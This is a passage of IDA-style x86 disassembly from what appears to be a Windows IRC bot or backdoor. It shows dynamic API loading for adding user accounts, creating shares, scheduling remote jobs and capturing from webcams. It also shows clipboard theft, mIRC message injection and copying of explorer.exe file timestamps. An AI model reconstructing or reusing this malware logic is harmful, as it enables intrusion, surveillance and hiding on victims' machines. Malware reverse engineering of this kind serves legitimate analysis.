		cmp	dword_43A324, ebx
		mov	dword_43A2BC, eax
		jz	short loc_409328
		cmp	dword_43A450, ebx
		jz	short loc_409328
		cmp	eax, ebx
		jnz	short loc_409332
		jmp	short loc_409328
; ---------------------------------------------------------------------------


loc_40931D:				; CODE XREF: sub_4089F2+8ECj
		call	dword_421088	; RtlGetLastWin32Error
		mov	dword_43A48C, eax


loc_409328:				; CODE XREF: sub_4089F2+91Bj
					; sub_4089F2+923j ...
		mov	dword_43A488, 1


loc_409332:				; CODE XREF: sub_4089F2+927j
		push	offset aNetapi32_dll ; "netapi32.dll"
		call	ebp	; LoadLibraryA
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_409428
		push	offset aNetshareadd ; "NetShareAdd"
		push	edi
		call	esi	; GetProcAddress
		push	offset aNetsharedel ; "NetShareDel"
		push	edi
		mov	dword_43A298, eax
		call	esi	; GetProcAddress
		push	offset aNetshareenum ; "NetShareEnum"
		push	edi
		mov	dword_43A270, eax
		call	esi	; GetProcAddress
		push	offset aNetschedulejob ; "NetScheduleJobAdd"
		push	edi
		mov	dword_43A2E4, eax
		call	esi	; GetProcAddress
		push	offset aNetapibufferfr ; "NetApiBufferFree"
		push	edi
		mov	dword_43A318, eax
		call	esi	; GetProcAddress
		push	offset aNetremotetod ; "NetRemoteTOD"
		push	edi
		mov	dword_43A428, eax
		call	esi	; GetProcAddress
		push	offset aNetuseradd ; "NetUserAdd"
		push	edi
		mov	dword_43A2D0, eax
		call	esi	; GetProcAddress
		push	offset aNetuserdel ; "NetUserDel"
		push	edi
		mov	dword_43A27C, eax
		call	esi	; GetProcAddress
		push	offset aNetuserenum ; "NetUserEnum"
		push	edi
		mov	dword_43A26C, eax
		call	esi	; GetProcAddress
		push	offset aNetusergetinfo ; "NetUserGetInfo"
		push	edi
		mov	dword_43A300, eax
		call	esi	; GetProcAddress
		push	offset aNetmessagebuff ; "NetMessageBufferSend"
		push	edi
		mov	dword_43A3F0, eax
		call	esi	; GetProcAddress
		cmp	dword_43A298, ebx
		mov	dword_43A3A8, eax
		jz	short loc_409433
		cmp	dword_43A270, ebx
		jz	short loc_409433
		cmp	dword_43A2E4, ebx
		jz	short loc_409433
		cmp	dword_43A318, ebx
		jz	short loc_409433
		cmp	dword_43A428, ebx
		jz	short loc_409433
		cmp	dword_43A2D0, ebx
		jz	short loc_409433
		cmp	dword_43A27C, ebx
		jz	short loc_409433
		cmp	dword_43A26C, ebx
		jz	short loc_409433
		cmp	dword_43A300, ebx
		jz	short loc_409433
		cmp	dword_43A3F0, ebx
		jz	short loc_409433
		cmp	eax, ebx
		jnz	short loc_40943D
		jmp	short loc_409433
; ---------------------------------------------------------------------------


loc_409428:				; CODE XREF: sub_4089F2+94Bj
		call	dword_421088	; RtlGetLastWin32Error
		mov	dword_43A494, eax


loc_409433:				; CODE XREF: sub_4089F2+9E6j
					; sub_4089F2+9EEj ...
		mov	dword_43A490, 1


loc_40943D:				; CODE XREF: sub_4089F2+A32j
		push	offset aDnsapi_dll ; "dnsapi.dll"
		call	ebp	; LoadLibraryA
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_409472
		push	offset aDnsflushresolv ; "DnsFlushResolverCache"
		push	edi
		call	esi	; GetProcAddress
		push	offset aDnsflushreso_0 ; "DnsFlushResolverCacheEntry_A"
		push	edi
		mov	dword_43A2C0, eax
		call	esi	; GetProcAddress
		cmp	dword_43A2C0, ebx
		mov	dword_43A390, eax
		jz	short loc_40947D
		cmp	eax, ebx
		jnz	short loc_409487
		jmp	short loc_40947D
; ---------------------------------------------------------------------------


loc_409472:				; CODE XREF: sub_4089F2+A56j
		call	dword_421088	; RtlGetLastWin32Error
		mov	dword_43A49C, eax


loc_40947D:				; CODE XREF: sub_4089F2+A78j
					; sub_4089F2+A7Ej
		mov	dword_43A498, 1


loc_409487:				; CODE XREF: sub_4089F2+A7Cj
		push	offset aIphlpapi_dll ; "iphlpapi.dll"
		call	ebp	; LoadLibraryA
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_4094BC
		push	offset aGetipnettable ;	"GetIpNetTable"
		push	edi
		call	esi	; GetProcAddress
		push	offset aDeleteipnetent ; "DeleteIpNetEntry"
		push	edi
		mov	dword_43A414, eax
		call	esi	; GetProcAddress
		cmp	dword_43A414, ebx
		mov	dword_43A410, eax
		jz	short loc_4094C7
		cmp	eax, ebx
		jnz	short loc_4094D1
		jmp	short loc_4094C7
; ---------------------------------------------------------------------------


loc_4094BC:				; CODE XREF: sub_4089F2+AA0j
		call	dword_421088	; RtlGetLastWin32Error
		mov	dword_43A4A4, eax


loc_4094C7:				; CODE XREF: sub_4089F2+AC2j
					; sub_4089F2+AC8j
		mov	dword_43A4A0, 1


loc_4094D1:				; CODE XREF: sub_4089F2+AC6j
		push	offset aMpr_dll	; "mpr.dll"
		call	ebp	; LoadLibraryA
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_409530
		push	offset aWnetaddconnect ; "WNetAddConnection2A"
		push	edi
		call	esi	; GetProcAddress
		push	offset aWnetaddconne_0 ; "WNetAddConnection2W"
		push	edi
		mov	dword_43A440, eax
		call	esi	; GetProcAddress
		push	offset aWnetcancelconn ; "WNetCancelConnection2A"
		push	edi
		mov	dword_43A438, eax
		call	esi	; GetProcAddress
		push	offset aWnetcancelco_0 ; "WNetCancelConnection2W"
		push	edi
		mov	dword_43A400, eax
		call	esi	; GetProcAddress
		cmp	dword_43A440, ebx
		mov	dword_43A2D8, eax
		jz	short loc_40953B
		cmp	dword_43A438, ebx
		jz	short loc_40953B
		cmp	dword_43A400, ebx
		jz	short loc_40953B
		cmp	eax, ebx
		jnz	short loc_409545
		jmp	short loc_40953B
; ---------------------------------------------------------------------------


loc_409530:				; CODE XREF: sub_4089F2+AEAj
		call	dword_421088	; RtlGetLastWin32Error
		mov	dword_43A4AC, eax


loc_40953B:				; CODE XREF: sub_4089F2+B26j
					; sub_4089F2+B2Ej ...
		mov	dword_43A4A8, 1


loc_409545:				; CODE XREF: sub_4089F2+B3Aj
		push	offset aShell32_dll ; "shell32.dll"
		call	ebp	; LoadLibraryA
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_40957A
		push	offset aShellexecutea ;	"ShellExecuteA"
		push	edi
		call	esi	; GetProcAddress
		push	offset aShchangenotify ; "SHChangeNotify"
		push	edi
		mov	dword_43A30C, eax
		call	esi	; GetProcAddress
		cmp	dword_43A30C, ebx
		mov	dword_43A40C, eax
		jz	short loc_409585
		cmp	eax, ebx
		jnz	short loc_40958F
		jmp	short loc_409585
; ---------------------------------------------------------------------------


loc_40957A:				; CODE XREF: sub_4089F2+B5Ej
		call	dword_421088	; RtlGetLastWin32Error
		mov	dword_43A4B4, eax


loc_409585:				; CODE XREF: sub_4089F2+B80j
					; sub_4089F2+B86j
		mov	dword_43A4B0, 1


loc_40958F:				; CODE XREF: sub_4089F2+B84j
		push	offset aOdbc32_dll ; "odbc32.dll"
		call	ebp	; LoadLibraryA
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_409618
		push	offset aSqldriverconne ; "SQLDriverConnect"
		push	edi
		call	esi	; GetProcAddress
		push	offset aSqlsetenvattr ;	"SQLSetEnvAttr"
		push	edi
		mov	dword_43A3D4, eax
		call	esi	; GetProcAddress
		push	offset aSqlexecdirect ;	"SQLExecDirect"
		push	edi
		mov	dword_43A420, eax
		call	esi	; GetProcAddress
		push	offset aSqlallochandle ; "SQLAllocHandle"
		push	edi
		mov	dword_43A35C, eax
		call	esi	; GetProcAddress
		push	offset aSqlfreehandle ;	"SQLFreeHandle"
		push	edi
		mov	dword_43A31C, eax
		call	esi	; GetProcAddress
		push	offset aSqldisconnect ;	"SQLDisconnect"
		push	edi
		mov	dword_43A3B4, eax
		call	esi	; GetProcAddress
		cmp	dword_43A3D4, ebx
		mov	dword_43A328, eax
		jz	short loc_409623
		cmp	dword_43A420, ebx
		jz	short loc_409623
		cmp	dword_43A35C, ebx
		jz	short loc_409623
		cmp	dword_43A31C, ebx
		jz	short loc_409623
		cmp	dword_43A3B4, ebx
		jz	short loc_409623
		cmp	eax, ebx
		jnz	short loc_40962D
		jmp	short loc_409623
; ---------------------------------------------------------------------------


loc_409618:				; CODE XREF: sub_4089F2+BA8j
		call	dword_421088	; RtlGetLastWin32Error
		mov	dword_43A4BC, eax


loc_409623:				; CODE XREF: sub_4089F2+BFEj
					; sub_4089F2+C06j ...
		mov	dword_43A4B8, 1


loc_40962D:				; CODE XREF: sub_4089F2+C22j
		push	offset aAvicap32_dll ; "avicap32.dll"
		call	ebp	; LoadLibraryA
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_409662
		push	offset aCapcreatecaptu ; "capCreateCaptureWindowA"
		push	edi
		call	esi	; GetProcAddress
		push	offset aCapgetdriverde ; "capGetDriverDescriptionA"
		push	edi
		mov	dword_43A2F0, eax
		call	esi	; GetProcAddress
		cmp	dword_43A2F0, ebx
		mov	dword_43A3C8, eax
		jz	short loc_40966D
		cmp	eax, ebx
		jnz	short loc_409677
		jmp	short loc_40966D
; ---------------------------------------------------------------------------


loc_409662:				; CODE XREF: sub_4089F2+C46j
		call	dword_421088	; RtlGetLastWin32Error
		mov	dword_43A4C4, eax


loc_40966D:				; CODE XREF: sub_4089F2+C68j
					; sub_4089F2+C6Ej
		mov	dword_43A4C0, 1


loc_409677:				; CODE XREF: sub_4089F2+C6Cj
		push	1
		pop	eax
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_4089F2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40967F	proc near		; CODE XREF: sub_40CE55+51F9p

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		push	ebx
		mov	ebx, [ebp+arg_4]
		push	esi
		xor	esi, esi
		cmp	dword_43A458, esi
		push	edi
		mov	edi, [ebp+arg_8]
		jz	short loc_4096C7
		push	dword_43A45C
		lea	eax, [ebp+var_200]
		push	offset aKernel32_dllFa ; "Kernel32.dll failed. <%d>"
		push	eax
		call	sub_4154E7
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_412D4C
		add	esp, 20h


loc_4096C7:				; CODE XREF: sub_40967F+1Aj
		cmp	dword_43A460, esi
		jz	short loc_4096FB
		push	dword_43A464
		lea	eax, [ebp+var_200]
		push	offset aUser32_dllFail ; "User32.dll failed. <%d>"
		push	eax
		call	sub_4154E7
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_412D4C
		add	esp, 20h


loc_4096FB:				; CODE XREF: sub_40967F+4Ej
		cmp	dword_43A468, esi
		jz	short loc_40972F
		push	dword_43A46C
		lea	eax, [ebp+var_200]
		push	offset aAdvapi32_dllFa ; "Advapi32.dll failed. <%d>"
		push	eax
		call	sub_4154E7
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_412D4C
		add	esp, 20h


loc_40972F:				; CODE XREF: sub_40967F+82j
		cmp	dword_43A470, esi
		jz	short loc_409763
		push	dword_43A474
		lea	eax, [ebp+var_200]
		push	offset aGdi32_dllFaile ; "Gdi32.dll failed. <%d>"
		push	eax
		call	sub_4154E7
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_412D4C
		add	esp, 20h


loc_409763:				; CODE XREF: sub_40967F+B6j
		cmp	dword_43A478, esi
		jz	short loc_409797
		push	dword_43A47C
		lea	eax, [ebp+var_200]
		push	offset aWs2_32_dllFail ; "Ws2_32.dll failed. <%d>"
		push	eax
		call	sub_4154E7
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_412D4C
		add	esp, 20h


loc_409797:				; CODE XREF: sub_40967F+EAj
		cmp	dword_43A480, esi
		jz	short loc_4097CB
		push	dword_43A484
		lea	eax, [ebp+var_200]
		push	offset aWininet_dllFai ; "Wininet.dll failed. <%d>"
		push	eax
		call	sub_4154E7
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_412D4C
		add	esp, 20h


loc_4097CB:				; CODE XREF: sub_40967F+11Ej
		cmp	dword_43A488, esi
		jz	short loc_4097FF
		push	dword_43A48C
		lea	eax, [ebp+var_200]
		push	offset aIcmp_dllFailed ; "Icmp.dll failed. <%d>"
		push	eax
		call	sub_4154E7
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_412D4C
		add	esp, 20h


loc_4097FF:				; CODE XREF: sub_40967F+152j
		cmp	dword_43A490, esi
		jz	short loc_409833
		push	dword_43A494
		lea	eax, [ebp+var_200]
		push	offset aNetapi32_dllFa ; "Netapi32.dll failed. <%d>"
		push	eax
		call	sub_4154E7
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_412D4C
		add	esp, 20h


loc_409833:				; CODE XREF: sub_40967F+186j
		cmp	dword_43A498, esi
		jz	short loc_409867
		push	dword_43A49C
		lea	eax, [ebp+var_200]
		push	offset aDnsapi_dllFail ; "Dnsapi.dll failed. <%d>"
		push	eax
		call	sub_4154E7
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_412D4C
		add	esp, 20h


loc_409867:				; CODE XREF: sub_40967F+1BAj
		cmp	dword_43A4A0, esi
		jz	short loc_40989B
		push	dword_43A4A4
		lea	eax, [ebp+var_200]
		push	offset aIphlpapi_dllFa ; "Iphlpapi.dll failed. <%d>"
		push	eax
		call	sub_4154E7
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_412D4C
		add	esp, 20h


loc_40989B:				; CODE XREF: sub_40967F+1EEj
		cmp	dword_43A4A8, esi
		jz	short loc_4098CF
		push	dword_43A4AC
		lea	eax, [ebp+var_200]
		push	offset aMpr32_dllFaile ; "Mpr32.dll failed. <%d>"
		push	eax
		call	sub_4154E7
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_412D4C
		add	esp, 20h


loc_4098CF:				; CODE XREF: sub_40967F+222j
		cmp	dword_43A4B0, esi
		jz	short loc_409903
		push	dword_43A4B4
		lea	eax, [ebp+var_200]
		push	offset aShell32_dllFai ; "Shell32.dll failed. <%d>"
		push	eax
		call	sub_4154E7
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_412D4C
		add	esp, 20h


loc_409903:				; CODE XREF: sub_40967F+256j
		cmp	dword_43A4B8, esi
		jz	short loc_409937
		push	dword_43A4BC
		lea	eax, [ebp+var_200]
		push	offset aOdbc32_dllFail ; "Odbc32.dll failed. <%d>"
		push	eax
		call	sub_4154E7
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_412D4C
		add	esp, 20h


loc_409937:				; CODE XREF: sub_40967F+28Aj
		cmp	dword_43A4C0, esi
		jz	short loc_40996B
		push	dword_43A4C4
		lea	eax, [ebp+var_200]
		push	offset aAvicap32_dllFa ; "Avicap32.dll failed. <%d>"
		push	eax
		call	sub_4154E7
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_412D4C
		add	esp, 20h


loc_40996B:				; CODE XREF: sub_40967F+2BEj
		lea	eax, [ebp+var_200]
		push	offset dword_429A0C
		push	eax
		call	sub_4154E7
		cmp	[ebp+arg_C], esi
		pop	ecx
		pop	ecx
		jnz	short loc_409998
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_412D4C
		add	esp, 14h


loc_409998:				; CODE XREF: sub_40967F+302j
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_40B16D
		pop	ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40967F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4099AA	proc near		; CODE XREF: sub_40CE55+C50p
					; sub_40CE55+C84p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		xor	esi, esi
		cmp	edi, esi
		jz	short loc_409A35
		mov	eax, [ebp+arg_4]
		cmp	eax, esi
		jz	short loc_409A35
		cmp	[ebp+arg_8], esi
		jz	short loc_409A35
		cmp	byte ptr [eax],	0
		jz	short loc_409A35
		push	ebx
		push	edi
		call	sub_41FD7B
		mov	ebx, eax
		pop	ecx
		test	ebx, ebx
		jz	short loc_409A30
		push	[ebp+arg_4]
		push	edi
		call	sub_415AC0
		mov	esi, eax
		pop	ecx
		test	esi, esi
		pop	ecx
		jz	short loc_409A29
		sub	eax, edi
		push	eax
		push	edi
		push	ebx
		call	sub_416D40
		push	[ebp+arg_8]
		mov	eax, ebx
		sub	eax, edi
		and	byte ptr [eax+esi], 0
		call	sub_415CF0
		push	eax
		push	[ebp+arg_8]
		push	ebx
		call	sub_416F10
		push	[ebp+arg_4]
		call	sub_415CF0
		add	eax, esi
		push	eax
		push	ebx
		call	sub_415C10
		push	ebx
		push	edi
		call	sub_415C00
		add	esp, 30h
		mov	esi, edi


loc_409A29:				; CODE XREF: sub_4099AA+3Cj
		push	ebx
		call	sub_415E3D
		pop	ecx


loc_409A30:				; CODE XREF: sub_4099AA+2Bj
		mov	eax, esi
		pop	ebx
		jmp	short loc_409A37
; ---------------------------------------------------------------------------


loc_409A35:				; CODE XREF: sub_4099AA+Cj
					; sub_4099AA+13j ...
		xor	eax, eax


loc_409A37:				; CODE XREF: sub_4099AA+89j
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_4099AA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_409A3B	proc near		; CODE XREF: sub_40CCDD+E9p

var_7D0		= dword	ptr -7D0h
var_7CC		= byte ptr -7CCh
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 7D0h
		push	ebx
		push	esi
		push	7D0h
		lea	eax, [ebp+var_7D0]
		push	0
		push	eax
		call	sub_415570
		mov	esi, [ebp+arg_0]
		push	esi
		call	sub_415CF0
		add	esp, 10h
		push	1
		pop	ebx
		cmp	eax, ebx
		jge	short loc_409A71
		or	eax, 0FFFFFFFFh
		jmp	short loc_409AE4
; ---------------------------------------------------------------------------


loc_409A71:				; CODE XREF: sub_409A3B+2Fj
		xor	ecx, ecx
		mov	[ebp+var_7D0], esi
		test	eax, eax
		jle	short loc_409A93


loc_409A7D:				; CODE XREF: sub_409A3B+56j
		mov	dl, [ecx+esi]
		cmp	dl, 0Ah
		jz	short loc_409A8A
		cmp	dl, 0Dh
		jnz	short loc_409A8E


loc_409A8A:				; CODE XREF: sub_409A3B+48j
		and	byte ptr [ecx+esi], 0


loc_409A8E:				; CODE XREF: sub_409A3B+4Dj
		inc	ecx
		cmp	ecx, eax
		jl	short loc_409A7D


loc_409A93:				; CODE XREF: sub_409A3B+40j
		xor	edx, edx
		push	edi
		test	eax, eax
		jle	short loc_409AC4
		lea	edi, [ebp+var_7CC]


loc_409AA0:				; CODE XREF: sub_409A3B+87j
		cmp	byte ptr [edx+esi], 0
		jnz	short loc_409ABF
		cmp	byte ptr [edx+esi+1], 0
		lea	ecx, [edx+esi+1]
		jz	short loc_409ABF
		cmp	ebx, 1F4h
		jge	short loc_409AC4
		mov	[edi], ecx
		inc	ebx
		add	edi, 4


loc_409ABF:				; CODE XREF: sub_409A3B+69j
					; sub_409A3B+74j
		inc	edx
		cmp	edx, eax
		jl	short loc_409AA0


loc_409AC4:				; CODE XREF: sub_409A3B+5Dj
					; sub_409A3B+7Cj
		cmp	[ebp+arg_4], 0
		pop	edi
		jz	short loc_409AE2
		lea	eax, [ebp+var_7D0]
		push	7D0h
		push	eax
		push	[ebp+arg_4]
		call	sub_4155D0
		add	esp, 0Ch


loc_409AE2:				; CODE XREF: sub_409A3B+8Ej
		mov	eax, ebx


loc_409AE4:				; CODE XREF: sub_409A3B+34j
		pop	esi
		pop	ebx
		leave
		retn
sub_409A3B	endp


; =============== S U B	R O U T	I N E =======================================



sub_409AE8	proc near		; CODE XREF: sub_409B42+33p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_4]
		push	esi
		push	edi
		mov	edi, [esp+8+arg_8]
		mov	ecx, 1F4h
		xor	esi, esi
		rep stosd
		lea	edi, [eax-1]
		test	edi, edi
		jl	short loc_409B21
		push	ebx
		mov	ebx, edi


loc_409B05:				; CODE XREF: sub_409AE8+36j
		mov	eax, [esp+0Ch+arg_0]
		mov	al, [esi+eax]
		push	eax
		call	sub_409B24
		pop	ecx
		inc	esi
		mov	ecx, [esp+0Ch+arg_8]
		mov	[ecx+eax*4], ebx
		dec	ebx
		cmp	esi, edi
		jle	short loc_409B05
		pop	ebx


loc_409B21:				; CODE XREF: sub_409AE8+18j
		pop	edi
		pop	esi
		retn
sub_409AE8	endp


; =============== S U B	R O U T	I N E =======================================



sub_409B24	proc near		; CODE XREF: sub_409AE8+25p
					; sub_409B42+6Bp

arg_0		= byte ptr  4

		movsx	eax, [esp+arg_0]
		push	eax
		call	sub_417193
		cmp	al, 61h
		pop	ecx
		jl	short loc_409B3F
		cmp	al, 7Ah
		jg	short loc_409B3F
		movsx	eax, al
		sub	eax, 60h
		retn
; ---------------------------------------------------------------------------


loc_409B3F:				; CODE XREF: sub_409B24+Ej
					; sub_409B24+12j
		xor	eax, eax
		retn
sub_409B24	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_409B42	proc near		; CODE XREF: sub_40B24D+10p
					; sub_40B27F+A0p

var_100C	= dword	ptr -100Ch
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, 100Ch
		call	sub_415D70
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_0]
		call	sub_415CF0
		push	[ebp+arg_4]
		mov	[ebp+var_4], eax
		call	sub_415CF0
		mov	esi, eax
		lea	eax, [ebp+var_100C]
		push	eax
		push	esi
		push	[ebp+arg_4]
		mov	[ebp+var_C], esi
		call	sub_409AE8
		add	esp, 14h
		dec	esi
		mov	edi, esi


loc_409B80:				; CODE XREF: sub_409B42+B6j
		test	esi, esi
		jle	short loc_409BFE
		mov	eax, [ebp+arg_4]
		movsx	eax, byte ptr [esi+eax]
		push	eax
		call	sub_417193
		mov	ebx, eax
		mov	eax, [ebp+arg_0]
		movsx	eax, byte ptr [edi+eax]
		push	eax
		call	sub_417193
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_409BF6


loc_409BA6:				; CODE XREF: sub_409B42+B2j
		mov	ebx, [ebp+arg_0]
		mov	al, [edi+ebx]
		push	eax
		call	sub_409B24
		mov	edx, [ebp+var_C]
		mov	eax, [ebp+eax*4+var_100C]
		pop	ecx
		mov	ecx, edx
		sub	ecx, esi
		cmp	ecx, eax
		jle	short loc_409BC7
		mov	eax, ecx


loc_409BC7:				; CODE XREF: sub_409B42+81j
		add	edi, eax
		cmp	edi, [ebp+var_4]
		jge	short loc_409BFA
		mov	eax, [ebp+arg_4]
		lea	esi, [edx-1]
		movsx	eax, byte ptr [esi+eax]
		push	eax
		call	sub_417193
		mov	edx, eax
		movsx	eax, byte ptr [edi+ebx]
		push	eax
		mov	[ebp+var_8], edx
		call	sub_417193
		pop	ecx
		pop	ecx
		mov	ecx, [ebp+var_8]
		cmp	eax, ecx
		jnz	short loc_409BA6


loc_409BF6:				; CODE XREF: sub_409B42+62j
		dec	edi
		dec	esi
		jmp	short loc_409B80
; ---------------------------------------------------------------------------


loc_409BFA:				; CODE XREF: sub_409B42+8Aj
		xor	eax, eax
		jmp	short loc_409C03
; ---------------------------------------------------------------------------


loc_409BFE:				; CODE XREF: sub_409B42+40j
		mov	eax, [ebp+arg_0]
		add	eax, edi


loc_409C03:				; CODE XREF: sub_409B42+BAj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_409B42	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_409C08	proc near		; CODE XREF: sub_40CE55+3B4Ep
					; sub_40CE55+4755p

var_100		= byte ptr -100h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 100h
		push	esi
		call	dword_421088	; RtlGetLastWin32Error
		mov	esi, eax
		push	0
		lea	eax, [ebp+var_100]
		push	100h
		push	eax
		push	400h
		push	esi
		push	0
		push	1200h
		call	dword_4210CC	; FormatMessageA
		lea	eax, [ebp+var_100]


loc_409C41:				; CODE XREF: sub_409C08+46j
		mov	cl, [eax]
		cmp	cl, 1Fh
		jg	short loc_409C4D
		cmp	cl, 9
		jnz	short loc_409C50


loc_409C4D:				; CODE XREF: sub_409C08+3Ej
		inc	eax
		jmp	short loc_409C41
; ---------------------------------------------------------------------------


loc_409C50:				; CODE XREF: sub_409C08+43j
					; sub_409C08+5Bj ...
		and	byte ptr [eax],	0
		dec	eax
		lea	ecx, [ebp+var_100]
		cmp	eax, ecx
		jb	short loc_409C6A
		mov	cl, [eax]
		cmp	cl, 2Eh
		jz	short loc_409C50
		cmp	cl, 21h
		jl	short loc_409C50


loc_409C6A:				; CODE XREF: sub_409C08+54j
		lea	eax, [ebp+var_100]
		push	esi
		push	eax
		mov	esi, offset dword_43A4C8
		push	[ebp+arg_0]
		push	offset aSErrorSD_ ; "%s	Error: %s <%d>."
		push	200h
		push	esi
		call	sub_415A6A
		add	esp, 18h
		mov	eax, esi
		pop	esi
		leave
		retn
sub_409C08	endp


; =============== S U B	R O U T	I N E =======================================



sub_409C92	proc near		; CODE XREF: sub_40CE55+5185p
		push	esi
		push	0
		call	dword_43A368	; OpenClipboard
		test	eax, eax
		jz	short loc_409CC9
		push	1
		call	dword_43A388	; GetClipboardData
		mov	esi, eax
		test	esi, esi
		jz	short loc_409CC9
		push	edi
		push	esi
		call	dword_4210D4	; GlobalLock
		push	esi
		mov	edi, eax
		call	dword_4210D0	; GlobalUnlock
		call	dword_43A3EC	; CloseClipboard
		mov	eax, edi
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_409CC9:				; CODE XREF: sub_409C92+Bj
					; sub_409C92+19j
		xor	eax, eax
		pop	esi
		retn
sub_409C92	endp


; =============== S U B	R O U T	I N E =======================================



sub_409CCD	proc near		; CODE XREF: sub_40CE55+4545p

arg_0		= dword	ptr  4

		push	ebp
		push	esi
		push	edi
		xor	esi, esi
		mov	edi, offset aMirc ; "mIRC"
		push	esi
		push	edi
		call	dword_43A3A4	; FindWindowA
		mov	ebp, eax
		cmp	ebp, esi
		jz	short loc_409D49
		push	ebx
		push	edi
		push	1000h
		push	esi
		push	4
		push	esi
		push	0FFFFFFFFh
		call	dword_4210E0	; CreateFileMappingA
		push	esi
		push	esi
		mov	edi, eax
		push	esi
		push	0F001Fh
		push	edi
		call	dword_4210DC	; MapViewOfFile
		push	[esp+10h+arg_0]
		mov	ebx, eax
		push	ebx
		call	sub_4154E7
		pop	ecx
		pop	ecx
		push	esi
		push	1
		push	4C8h
		push	ebp
		call	dword_43A3F4	; SendMessageA
		push	esi
		push	1
		push	4C9h
		push	ebp
		call	dword_43A3F4	; SendMessageA
		push	ebx
		call	dword_4210D8	; UnmapViewOfFile
		push	edi
		call	dword_42106C	; CloseHandle
		push	1
		pop	eax
		pop	ebx
		jmp	short loc_409D4B
; ---------------------------------------------------------------------------


loc_409D49:				; CODE XREF: sub_409CCD+16j
		xor	eax, eax


loc_409D4B:				; CODE XREF: sub_409CCD+7Aj
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_409CCD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_409D4F	proc near		; CODE XREF: sub_40C682+21Cp

var_11C		= byte ptr -11Ch
var_18		= byte ptr -18h
var_10		= byte ptr -10h
var_8		= byte ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 11Ch
		push	ebx
		push	esi
		xor	esi, esi
		push	edi
		lea	eax, [ebp+var_11C]
		push	esi
		push	eax
		push	104h
		push	esi
		push	offset aExplorer_exe ; "explorer.exe"
		push	esi
		call	dword_43A454	; SearchPathA
		test	eax, eax
		jz	short loc_409DEE
		mov	edi, 80h
		push	esi
		push	edi
		push	3
		push	esi
		mov	esi, dword_421078
		push	1
		lea	eax, [ebp+var_11C]
		push	80000000h
		push	eax
		call	esi	; CreateFileA
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	short loc_409DEE
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		push	ebx
		call	dword_4210E8	; GetFileTime
		push	ebx
		mov	ebx, dword_42106C
		call	ebx	; CloseHandle
		push	0
		push	edi
		push	3
		push	0
		push	2
		push	40000000h
		push	[ebp+arg_0]
		call	esi	; CreateFileA
